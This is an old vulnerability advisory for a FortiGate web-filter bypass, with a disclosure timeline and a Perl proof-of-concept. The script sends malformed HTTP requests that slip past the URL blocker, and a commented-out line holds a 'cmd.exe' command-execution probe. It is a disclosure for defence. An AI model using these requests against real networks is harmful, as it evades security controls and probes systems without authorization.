URL filter bypass in Fortinet


Severity: Low
Impact: Bypass Fortinet web filter
Vulnerabilty type: Design error
Affected products: FortiGate v2.8
CVE reference: CAN-2005-3058


Vulnerability Description:
-------------------------

It is possible to bypass Fortinet URL blocker by making special HTTP reques=
ts:
- if each line of the request is terminated by CR instead of CRLF
- if there's no host field in HTTP/1.0 request

Theses request are "tolerated" by the HTTP RFC 2616, par. 19.3, and most of
the web servers replyes to them, however, Fortinet failed to parse such URL=
s.


This bug was tested on FortiOS v2.8MR10 and v3beta.
The IPS module is not affected by this vulnerabylity.


Exploit:
-------

See the perl scrip below.


Solution:
--------

No solution available yet.


Vendor Response:
---------------

08/11/2005 The vendor was contacted (using support web site), and a
perl script for reproducting the problem was provided
08/16/2005 The vendor asked for more information
08/18/2005 Network dumps and explanations sent to the vendor
08/25/2005 The vendor said this this was escalated to the dev team.
01/04/2006 Status asked to the vendor.
02/06/2006 The vendor was informed that this information will be
published in 1 week.

Credits:
-------

Discovered by Mathieu Dessus (mdessus(a)gmail.com).

_____________________

Perl script for testing the vuln:

# http_req.pl
#
# Made by (Mathieu Dessus)
#
# Make a filter for /test* URL in the Fortigate and
# remove the # depending on which HTTP request you want to test

use IO::Socket;

$target =3D '1.2.3.4';

# Detected
$data =3D "GET /test HTTP/1.1\r
Host: $target\r
Pragma: no-cache\r
Accept: */*\r
\r
";
# Not detected
$data =3D "GET /test2 HTTP/1.1
Host: $target
Pragma: no-cache
Accept: */*

";

# Not detected
$data =3D "GET /test3 HTTP/1.0\r\n\r\n";
# Detected
#$data =3D "GET /test4 HTTP/1.0\r\nHost: $target\r\n\r\n";
# Detected
#$data =3D "GET //c/winnt/system32/cmd.exe?/c+dir HTTP/1.0\n\n";


my $sock =3D new IO::Socket::INET (
PeerAddr =3D> $target,
PeerPort =3D> '80',
Proto =3D> 'tcp',
);
die "Could not create socket: $!\n" unless $sock;
print $sock $data;
read($sock, $ret, 600);
print($ret."\n");
close($sock);